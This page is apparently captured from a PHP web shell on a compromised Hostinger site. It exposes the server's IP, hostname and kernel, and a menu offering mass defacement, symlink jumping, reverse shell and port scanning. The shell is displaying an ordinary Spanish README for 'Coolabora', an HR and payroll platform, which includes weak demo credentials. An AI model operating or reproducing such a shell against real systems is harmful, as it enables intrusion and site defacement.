Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
coolabora.me
/
public_html1
/
Viewing: README.md
# Coolabora - RRHH Platform Coolabora es una plataforma RRHH inspirada en soluciones como Buk y Zenda para Colombia. Incluye autenticación por roles, autoservicio de colaboradores, nómina con novedades y dashboard de talento. ## Índice - [Arquitectura](#arquitectura) - [Autenticación y roles](#autenticación-y-roles) - [Módulo de nómina](#módulo-de-nómina) {{ ... }} - Datos provenientes de tablas `evaluaciones_desempeno`, `capacitaciones`, `capacitacion_inscripciones` y `talento_indicadores` en MySQL. - Modelos: `EvaluacionModel`, `CapacitacionModel`, `TalentoIndicadorModel`. - `TalentoController` arma dashboard analítico (`talento_index.php`) con KPIs, evaluaciones, capacitaciones y recomendaciones. ## Configuración inicial 1. Copiar el proyecto en el directorio raíz de XAMPP (`htdocs/`). 2. Crear (si no existe) el directorio `storage/adjuntos/` con permisos de escritura para PHP. 3. Importar el dump `coolabora.sql` en MySQL. Puedes hacerlo desde phpMyAdmin o con `mysql -u root -p coolabora < coolabora.sql`. 4. Ajustar las credenciales de la base de datos en `config/database.php` o exportar las variables de entorno `DB_HOST`, `DB_PORT`, `DB_NAME`, `DB_USER`, `DB_PASS`. 5. Requisitos de frontend: Node.js 18+ y npm. 6. Instalar dependencias: `npm install`. 7. Generar estilos: `npm run build` (para desarrollo continuo puede usarse `npm run dev`). 8. Iniciar Apache y acceder a `http://localhost/nomina/public/`. ### Scripts npm disponibles - `npm run build`: compila Tailwind CSS minificado hacia `public/assets/css/tailwind-build.css`. - `npm run dev`: ejecuta Tailwind en modo watch para regenerar estilos al guardar cambios en `resources/css/app.css` o vistas. ## Credenciales demo - **Administrador:** `admin@empresa.com` / `admin123` - **empleado:** `laura@empresa.com` / `empleado123` > **Importante:** las contraseñas están hasheadas con bcrypt en la tabla `users`. Usa el dump `coolabora.sql` para poblar datos demo actualizados. Los datos se inicializan en cada sesión de navegador. Para “resetear” el estado, cerrar todas las ventanas o limpiar cookies del dominio local. ## Generación automática de nómina 1. Accede como administrador y entra a `?route=nomina_periodos`. 2. Usa el formulario "Generar automáticamente" indicando periodo (AAAA-MM) y fecha de pago. 3. El servicio `NominaCalculator` consolidará datos de empleados y novedades, creará un registro en `nomina_periodos` y los detalles en `nomina_detalles`. 4. Revisa el dashboard principal (`?route=home`) y el detalle de nómina (`?route=nomina`) para validar los montos generados. 5. Para recalcular un periodo existente desde la UI, activa la casilla **"Reemplazar si el periodo existe"**. ### Ejecución por consola - **Generar nómina**: `php app/commands/run_payroll.php --period=2025-10 --fecha=2025-10-31 --force` - Omite `--period` y `--fecha` para usar el mes actual y el último día del mes. - Usa `--force` para sobrescribir un periodo previo (borra registros y crea nuevos dentro de una transacción). - **Validar resultados**: `php app/commands/validate_nomina.php --period=2025-10` - El script avisa si faltan empleados, si hay totales inconsistentes o si la tabla `audit_logs` no posee columnas `entity`/`action`. ### Automatización mensual (Hostinger / cron) - Configura los parámetros en el panel interno `?route=config_automatizacion`. - Ejemplo de expresión cron mensual (día 27 a las 18:00): `0 18 27 * *`. - Comando base: ```bash /usr/bin/php /home/usuario/public_html/nomina/app/commands/run_payroll.php --force >> /home/usuario/public_html/nomina/storage/logs/run_payroll.log 2>&1 ``` - Pasos en Hostinger: 1. Panel de control → *Cron Jobs* → *Cron Job avanzado*. 2. Pega la expresión cron y el comando sugerido. 3. Guarda y ejecuta una vez manualmente para verificar que genera log y datos. - Revisa `docs/validacion_nomina.md` para registrar incidencias y totales tras cada corrida. ### Auditoría opcional - Si deseas que `validate_nomina.php` muestre métricas de auditoría, añade las columnas `entity` y `action` a `audit_logs` (tipo `VARCHAR(100)` sugerido). - Registra cambios de `nomina_periodos` y `nomina_detalles` indicando acción (`create`, `update`, `delete`). - El script detectará automáticamente estos campos y listará el resumen por acción. ### Seguimiento operativo - Posterior a cada ejecución programada, registra resultados en `docs/validacion_nomina.md` (tabla *Seguimiento de incidencias*). - Adjunta los logs generados y cualquier ajuste manual aplicado para dejar trazabilidad. ## Validación recomendada - **Verifica** en MySQL que `nomina_periodos` tenga el nuevo registro con totales consistentes. - **Confirma** que `nomina_detalles` agregó una fila por colaborador con `detalle_novedades` en formato JSON. - **Cruza** con la vista de autoservicio para asegurarte que el neto coincide con el desprendible del empleado. - **Audita** las novedades usadas revisando `novedades_nomina` si detectas diferencias de devengados/deducciones. - **Ejecuta** `app/commands/validate_nomina.php` después de cada corrida para consolidar hallazgos (incluye resumen de novedades y cobertura).
Coded With 💗 by
0x6ick